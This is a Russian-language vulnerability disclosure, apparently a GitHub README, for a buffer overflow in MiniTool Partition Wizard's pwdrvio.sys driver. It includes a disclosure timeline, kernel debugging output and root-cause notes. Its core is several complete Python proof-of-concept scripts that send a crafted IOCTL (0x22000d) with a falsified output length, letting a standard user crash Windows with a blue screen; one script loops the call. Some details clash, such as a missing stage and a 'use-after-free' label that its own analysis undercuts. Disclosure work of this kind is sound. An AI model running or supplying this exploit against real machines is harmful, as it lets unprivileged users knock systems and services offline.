CVE-2026-36980-Kernel-BSOD-DoS-PoC

Дата проекта: февраль 2026 года / Обнаружена уязвимость переполнения буфера в обработчике IOCTL драйвера ядра pwdrvio.sys. Уязвимость позволяет непривилегированному локальному злоумышленнику повредить память пула ядра, вызывая немедленное падение системы (BSOD) и отказ в обслуживании.

2026-02-09 Вендор уведомлён
2026-03-05 Вендор подтвердил
2026-03-05 Запрошен CVE в MITRE
2026-05-10 Публичное раскрытие после 90-дневного периода скоординированного раскрытия

https://github.com/user-attachments/assets/b53fb5d1-b4d0-4bc6-ad6e-2a321a1d2101

Отказ в обслуживании (DoS) Критичность: MEDIUM Оценка CVSS 3.1: 5.5 (DoS)
Векторная строка CVSS:

DoS: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Переполнение буфера — отказ в обслуживании (CVSS 5.5 - MEDIUM)

Вызывает синий экран смерти (BSOD)
Автономная эксплуатация (отладчик не требуется)
Вызвано переполнением буфера через IOCTL 0x22000d
Стабильное падение системы во всех протестированных конфигурациях

Предварительные условия атаки:

Локальный доступ к целевой системе
Учётная запись стандартного пользователя (не администратора)
MiniTool Partition Wizard установлен или удалён (драйвер pwdrvio.sys загружен)

Результаты эксплуатации: DoS — немедленное падение системы, недоступность сервисов

Хронология обнаружения уязвимости

Этап 1: Первоначальный фаззинг и обнаружение BSOD

Дата: 5 февраля 2026 года
Действия: Систематический фаззинг драйвера ядра с помощью собственного Python-фаззера

Процесс обнаружения:

Выбор цели:
- Перечислил установленные драйверы ядра на виртуальной машине Windows 10
- Обнаружил, что pwdrvio.sys — самый старый драйвер (метка времени: 16 июня 2009 года)
- Файл драйвера: C:\Windows\System32\drivers\pwdrvio.sys
- Объект устройства: \\.\PartitionWizardDiskAccesser\0
Первоначальный фаззинг:
- Разработал Python-фаззер с использованием ctypes для взаимодействия с драйвером
- Отправлял случайные данные через WriteFile/DeviceIoControl на устройство драйвера
- Результат: множественные синие экраны смерти (BSOD)

Активация верификатора:

Включил Driver Verifier для расширенного обнаружения сбоев

verifier /standard /driver pwdrvio.sys

Конфигурация верификатора:

Verifier Flags: 0x001209bb
Standard Flags Enabled:
  [X] Special pool
  [X] Force IRQL checking  
  [X] Pool tracking
  [X] I/O verification
  [X] Deadlock detection
  [X] DMA checking
  [X] Security checks
  [X] Miscellaneous checks
  [X] DDI compliance checking

Этап 2: Настройка отладки ядра с WinDbg

Дата: 5–6 февраля 2026 года
Действия: Настроил среду отладки ядра для анализа первопричины

Процедура настройки:

Настройка последовательного порта VMware:

VMware Workstation Pro → VM Settings
├─ Add Hardware → Serial Port
├─ Connection: "Use named pipe"
├─ Path: \\.\pipe\com_1
├─ End: "This is the server"
└─ I/O Mode: "Yield CPU on poll" ✓

Конфигурация гостевой ОС:

REM Administrator Command Prompt
bcdedit /debug on
bcdedit /dbgsettings serial debugport:1 baudrate:115200
shutdown /r /t 0

Подключение WinDbg на хосте:

WinDbg → File → Attach to Kernel
├─ Port: \\.\pipe\com_1
├─ Baud Rate: 115200
├─ Pipe: ✓
└─ Reconnect: ✓

Result: "Kernel Debugger connection established."

Этап 3: Анализ первопричины — обнаружение произвольной записи

Дата: 6 февраля 2026 года
Действия: Обнаружил примитив произвольной записи в ядре

Шаги анализа:

Анализ модуля:

1: kd> lm m pwdrvio
start             end                 module name
fffff805`315f0000 fffff805`315f8000   pwdrvio  (Jun 16 2009)

1: kd> !drvobj pwdrvio 2
Driver object (fffff805`XXXXXXXX) is for:
 \Driver\pwdrvio

DriverEntry:   fffff805`315f6008
DriverUnload:  fffff805`315f1060

Dispatch Routines:
[00] IRP_MJ_CREATE                      fffff805`315f108c
[02] IRP_MJ_CLOSE                       fffff805`315f12f8
[03] IRP_MJ_READ                        fffff805`315f16c4
[04] IRP_MJ_WRITE                       fffff805`315f1564  ← Target
[0e] IRP_MJ_DEVICE_CONTROL              fffff805`315f1404

Обнаружение уязвимой инструкции:

Установка точки останова на обработчик записи:
```
1: kd> bp pwdrvio+0x1641
1: kd> g

Breakpoint 0 hit
pwdrvio+0x1641:
fffff805`315f1641 498943f0        mov qword ptr [r11-10h],rax
```
Ключевое открытие: обнаружен примитив произвольной записи!
- Инструкция записывает указатель ядра (RAX) по адресу [R11-0x10]
- R11 загружается из кадра стека: mov r11, qword ptr [rbp+0xB8h]
- Проверка целевого адреса не выполняется

Этап 4: Анализ перехода от UAF к произвольной записи

Дата: 6–7 февраля 2026 года
Действия: Проследил уязвимость от Use-After-Free до условия write-what-where

Цепочка повреждения памяти:

Выделение IRP:

0: kd> !pool @rbp
Pool page ffffe60f84c38610 region is Special pool
*ffffe60f84c38000 size: 1f0 data: ffffe60f84c38e10 (NonPaged) *Irp+
Pooltag Irp+ : I/O verifier allocated IRP packets

Связь буферов:
```
0: kd> r rsi
rsi=ffffe60f828df900  ← User buffer location

0: kd> ? @rbp - @rsi
Evaluate expression: 35823344 = 00000000`02229ef0  ← 35MB difference!
```
Анализ: пользовательский буфер НЕ доступен напрямую из кадра RBP
- RBP указывает на структуру IRP в пуле ядра
- Пользовательский буфер находится в другом регионе памяти
- Смещение RBP+0xB8 не указывает на контролируемый пользователем буфер

Условие Use-After-Free:

Драйвер хранит висячие указатели в структуре IRP:

// Ghidra decompilation (pwdrvio+0x1564)
longlong lVar1 = *(longlong *)(param_2 + 0xb8);  // Load from IRP

// No validation!
lVar5 = IoBuildAsynchronousFsdRequest(...);

// Write to [lVar1 - 0x10]
*(code **)(lVar3 + -0x10) = FUN_00011364;  // Arbitrary write!

Этап 6: Выявление отказа в обслуживании

Дата: 8 февраля 2026 года
Действия: Обнаружил автономную DoS-уязвимость

Обнаружение:

Фаззинг IOCTL:
- Протестированы различные IOCTL-коды с повреждёнными буферами
- Выявлен уязвимый IOCTL 0x22000d

Механизм падения:

# Vulnerable parameters
TARGET_IOCTL = 0x22000d

input_buf = (ctypes.c_char * 1024)(*([0xFF] * 1024))
real_output_buffer = ctypes.create_string_buffer(4)
fake_output_length = 8192  # Driver trusts this value!

DeviceIoControl(handle, TARGET_IOCTL, input_buf, 1024,
                real_output_buffer, fake_output_length, ...)

Поведение драйвера:
- Драйвер доверяет указанной пользователем длине выходного буфера
- Пытается записать 8192 байта в 4-байтовый буфер
- Переполнение буфера → повреждение пула → BSOD

Вывод верификатора:

DRIVER_VERIFIER_DETECTED_VIOLATION (c4)
Arg1: 0000000000000091, Corrupted pool allocation
Arg2: fffff805315f1404, Driver code address
Arg3: ffffe60f84c38000, Pool allocation address
Arg4: 0000000000000091, Corruption type

PROCESS_NAME: python.exe

Уязвимость №2: отказ в обслуживании (DoS)

Классификация CWE

CWE-120: Копирование буфера без проверки размера входных данных
CWE-119: Некорректное ограничение операций в буфере памяти
CWE-248: Необработанное исключение

Детали уязвимости

Местоположение: обработчик IOCTL в pwdrvio.sys
Уязвимый IOCTL: 0x22000d

Механизм срабатывания:

import ctypes
from ctypes import wintypes

DEVICE_NAME = r"\\.\PartitionWizardDiskAccesser\0"
TARGET_IOCTL = 0x22000d

kernel32 = ctypes.windll.kernel32

# Open driver
handle = kernel32.CreateFileW(DEVICE_NAME, 0xC0000000, 3, None, 3, 0, None)

# Malicious parameters
input_buf = (ctypes.c_char * 1024)(*([0xFF] * 1024))
real_output_buffer = ctypes.create_string_buffer(4)  # Only 4 bytes!
fake_output_length = 8192  # Claim 8192 bytes!
bytes_returned = wintypes.DWORD(0)

# Trigger overflow
kernel32.DeviceIoControl(handle, TARGET_IOCTL, 
                         input_buf, 1024,
                         real_output_buffer, fake_output_length,  # ← Overflow!
                         ctypes.byref(bytes_returned), None)

Поведение при падении:

С включённым Driver Verifier:

DRIVER_VERIFIER_DETECTED_VIOLATION (c4)
Arguments:
Arg1: 0000000000000091 - Corrupted pool allocation detected
Arg2: fffff805315f1404 - Driver code address (IOCTL handler)
Arg3: ffffe60f84c38000 - Pool allocation address
Arg4: 0000000000000091 - Special pool pattern corrupted

Analysis:
- Driver attempts to write 8192 bytes to 4-byte buffer
- Pool header corruption detected by verifier
- Immediate bugcheck (BSOD)

Process triggering crash: python.exe (standard user)

Без Driver Verifier:

SYSTEM_SERVICE_EXCEPTION (3b)
Arguments:
Arg1: 00000000c0000005 - Access violation
Arg2: fffff805315f1404 - Faulting address in pwdrvio.sys
Arg3: ffffXXXXXXXXXXXX - Trap frame
Arg4: 0000000000000000

Result: Blue Screen of Death

Полный код и эксплуатация

Код:

import ctypes
from ctypes import wintypes

# --- Settings ---
DEVICE_NAME = r"\\.\PartitionWizardDiskAccesser\0"
kernel32 = ctypes.windll.kernel32

# --- Defines ---
# Windows API Defines
kernel32.CreateFileW.argtypes = [wintypes.LPCWSTR, wintypes.DWORD, wintypes.DWORD, 
                                 wintypes.LPVOID, wintypes.DWORD, wintypes.DWORD, wintypes.HANDLE]
kernel32.CreateFileW.restype = wintypes.HANDLE

kernel32.DeviceIoControl.argtypes = [wintypes.HANDLE, wintypes.DWORD, wintypes.LPVOID, wintypes.DWORD, 
                                     wintypes.LPVOID, wintypes.DWORD, ctypes.POINTER(wintypes.DWORD), wintypes.LPVOID]
kernel32.DeviceIoControl.restype = wintypes.BOOL

def trigger_bsod():
    print("[!] MiniTool DoS...")
    
    # 1. Connect Driver
    handle = kernel32.CreateFileW(DEVICE_NAME, 0xC0000000, 3, None, 3, 0, None)
    
    if handle == wintypes.HANDLE(-1).value or handle is None:
        print("[-] Couldnt Connect.")
        return

    # 2. Preperation
    # IOCTL from Fuzzer
    TARGET_IOCTL = 0x22000d 
    
    # Input: Fiiled 0xFF - 1024 byte (Pointer Poisoning)
    in_size = 1024
    input_buf = (ctypes.c_char * in_size)(*([0xFF] * in_size))
    
    # Output Trap: Standard 4 byte, 8192 byte in Driver
    real_output_buffer = ctypes.create_string_buffer(4)
    fake_output_length = 8192 
    bytes_returned = wintypes.DWORD(0)

    print("[+] Wait for BSoD...")

    # 3. Loop (Pool Corruption)
    while True:
        kernel32.DeviceIoControl(
            handle, 
            TARGET_IOCTL, 
            input_buf, 
            in_size, 
            real_output_buffer, 
            fake_output_length, # <--- Vulnerable Point: Driver BufferOverflow
            ctypes.byref(bytes_returned), 
            None
        )

if __name__ == "__main__":
    trigger_bsod()

Эксплуатация:

PS C:\Users\standarduser\directory> & "C:\Program Files\Python314\python.exe" .\DoS_PoC.py

Доказательство концепции (PoC) и шаги воспроизведения

Предварительные условия

Тестовая среда:

Операционная система: Windows 10 Home Build 19045.6466
Архитектура: x64
Версия MiniTool: Partition Wizard 13.5
Драйвер: pwdrvio.sys (датирован 16 июня 2009 года)
Учётная запись: стандартный пользователь (не администратор)

Необходимые инструменты:

Для LPE: WinDbg (Windows Debugger), VMware Workstation
Для DoS: Python 3.x с ctypes

Воспроизведение №1: отказ в обслуживании (автономно)

Шаг 1: Проверка установки драйвера

C:\> sc query pwdrvio

SERVICE_NAME: pwdrvio
        TYPE               : 1  KERNEL_DRIVER
        STATE              : 4  RUNNING
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)

Шаг 2: Включение Driver Verifier (необязательно, но рекомендуется)

REM Administrator Command Prompt
C:\> verifier /standard /driver pwdrvio.sys

REM Verify configuration
C:\> verifier /query

Verifier Flags: 0x001209bb
  Standard Flags:
    [X] 0x00000001 Special pool
    [X] 0x00000002 Force IRQL checking
    [X] 0x00000008 Pool tracking
    [X] 0x00000010 I/O verification
    [X] 0x00000020 Deadlock detection
    [X] 0x00000080 DMA checking
    [X] 0x00000100 Security checks
    [X] 0x00000800 Miscellaneous checks
    [X] 0x00020000 DDI compliance checking

  Driver Verification List:
    MODULE: pwdrvio.sys (load: 1 / unload: 0)

REM Reboot for verifier to take effect
C:\> shutdown /r /t 0

Шаг 3: Создание DoS-эксплойт-скрипта

Сохраните как dos_exploit.py:

import ctypes
from ctypes import wintypes

# Device path
DEVICE_NAME = r"\\.\PartitionWizardDiskAccesser\0"
kernel32 = ctypes.windll.kernel32

# Windows API definitions
kernel32.CreateFileW.argtypes = [wintypes.LPCWSTR, wintypes.DWORD, wintypes.DWORD, 
                                 wintypes.LPVOID, wintypes.DWORD, wintypes.DWORD, 
                                 wintypes.HANDLE]
kernel32.CreateFileW.restype = wintypes.HANDLE

kernel32.DeviceIoControl.argtypes = [wintypes.HANDLE, wintypes.DWORD, wintypes.LPVOID, 
                                     wintypes.DWORD, wintypes.LPVOID, wintypes.DWORD, 
                                     ctypes.POINTER(wintypes.DWORD), wintypes.LPVOID]
kernel32.DeviceIoControl.restype = wintypes.BOOL

def trigger_bsod():
    print("[*] MiniTool pwdrvio.sys DoS Exploit")
    print("[*] Triggering Blue Screen of Death...")
    
    # Open device
    handle = kernel32.CreateFileW(DEVICE_NAME, 0xC0000000, 3, None, 3, 0, None)
    
    if handle == wintypes.HANDLE(-1).value or handle is None:
        print("[-] Failed to open driver")
        print("[-] Ensure MiniTool Partition Wizard is installed")
        return
    
    print("[+] Driver opened successfully")
    
    # Vulnerable IOCTL code
    TARGET_IOCTL = 0x22000d
    
    # Input buffer: 1024 bytes of 0xFF
    input_buf = (ctypes.c_char * 1024)(*([0xFF] * 1024))
    
    # Output buffer: Only 4 bytes (but claim 8192!)
    real_output_buffer = ctypes.create_string_buffer(4)
    fake_output_length = 8192  # Driver trusts this value → Overflow!
    bytes_returned = wintypes.DWORD(0)
    
    print("[!] Sending malicious IOCTL...")
    print("[!] System will crash in 3...2...1...")
    
    # Trigger buffer overflow → BSOD
    kernel32.DeviceIoControl(
        handle, 
        TARGET_IOCTL, 
        input_buf, 
        1024, 
        real_output_buffer, 
        fake_output_length,  # ← Vulnerability trigger
        ctypes.byref(bytes_returned), 
        None
    )
    
    # This line will never execute
    print("[*] If you see this, the exploit failed")

if __name__ == "__main__":
    trigger_bsod()

Шаг 4: Запуск эксплойта (стандартный пользователь)

C:\> whoami
desktop-lfkkhu2\standard_user

C:\> python dos_exploit.py
[*] MiniTool pwdrvio.sys DoS Exploit
[*] Triggering Blue Screen of Death...
[+] Driver opened successfully
[!] Sending malicious IOCTL...
[!] System will crash in 3...2...1...

[System immediately crashes with BSOD]

Ожидаемый результат:

Синий экран с кодом остановки:

DRIVER_VERIFIER_DETECTED_VIOLATION (c4)

или

SYSTEM_SERVICE_EXCEPTION (3b)

Проверка: падение системы подтверждает DoS-уязвимость

Программное обеспечение MiniTool:

Product:               MiniTool Partition Wizard
Version:               13.5
Installation Path:     C:\Program Files\MiniTool Partition Wizard
Driver Path:           C:\Windows\System32\drivers\pwdrvio.sys
Driver Date:           June 16, 2009 (0x4A36F8D1)
Driver Size:           32,256 bytes

Инструменты тестирования:

WinDbg Version:        10.0.29507.1001 AMD64
Python Version:        3.x with ctypes
Compiler:              x86_64-w64-mingw32-gcc (MinGW)
Verifier:              Windows Driver Verifier (Standard flags)

Затронутые версии

Подтверждённая уязвимость

Основной продукт:

MiniTool Partition Wizard 13.5
Все предыдущие версии, использующие pwdrvio.sys

Детали драйвера:

File Name:          pwdrvio.sys
File Version:       [Not available]
File Size:          32,256 bytes (31.5 KB)
Time Stamp:         0x4A36F8D1 (June 16, 2009, 04:43:45 UTC)
Digital Signature:  [Signed by vendor]
Device Name:        \\.\PartitionWizardDiskAccesser\0
Service Name:       pwdrvio
Load Order:         Boot Start (SERVICE_BOOT_START)

Потенциально затронутые продукты

Другие продукты MiniTool, которые могут использовать тот же драйвер:

MiniTool Power Data Recovery
MiniTool Partition Wizard Bootable Edition
MiniTool ShadowMaker

Примечание: каждый продукт следует протестировать отдельно для подтверждения.

Совместимость с операционными системами

Протестировано, уязвимость подтверждена:

Windows 10 Home Build 19045.6466 (x64)

Вероятно уязвимые (не тестировалось):

Windows 7 (x64)
Windows 8 / 8.1 (x64)
Windows 10 (все сборки, x64)
Windows 11 (x64)
Windows Server 2008 R2 и новее

Причина: драйвер совместим со всеми современными версиями Windows и не содержит проверок, зависящих от версии.

Правовой отказ от ответственности

Этот репозиторий предоставлен строго в образовательных целях, для защитных исследований безопасности и воспроизведения уязвимости в контролируемых лабораторных средах. Информация и proof-of-concept код предназначены для того, чтобы помочь специалистам по защите, исследователям и вендорам понять и устранить описанную уязвимость. Несанкционированное или злонамеренное использование этого кода против систем без явного разрешения может нарушать действующие законы и нормативные акты. Автор не поощряет и не оправдывает противоправную деятельность и не несёт ответственности за неправомерное использование или ущерб, причинённый этим материалом.

Данный отчёт о раскрытии уязвимости предоставлен для:

исследований и образования в области безопасности
уведомления вендора и разработки исправлений
защиты конечных пользователей
академических целей и целей защитной безопасности

Запрещённые виды использования:

Несанкционированный доступ к компьютерным системам
Злонамеренная эксплуатация
Любая противоправная деятельность

Исследователь проводил все тесты на личных системах в контролируемых средах. Несанкционированного доступа к сторонним системам не осуществлялось.

Версия отчёта: 1.0
Последнее обновление: 9 февраля 2026 года

CVE-2026-36980-Kernel-BSOD-DoS-PoC

Популярное

CVE-2026-36980-Kernel-BSOD-DoS-PoC

Хронология обнаружения уязвимости

Этап 1: Первоначальный фаззинг и обнаружение BSOD

Этап 2: Настройка отладки ядра с WinDbg

Этап 3: Анализ первопричины — обнаружение произвольной записи

Этап 4: Анализ перехода от UAF к произвольной записи

Этап 6: Выявление отказа в обслуживании

Уязвимость №2: отказ в обслуживании (DoS)

Классификация CWE

Детали уязвимости

Полный код и эксплуатация

Доказательство концепции (PoC) и шаги воспроизведения

Предварительные условия

Воспроизведение №1: отказ в обслуживании (автономно)

Затронутые версии

Подтверждённая уязвимость

Потенциально затронутые продукты

Совместимость с операционными системами

Правовой отказ от ответственности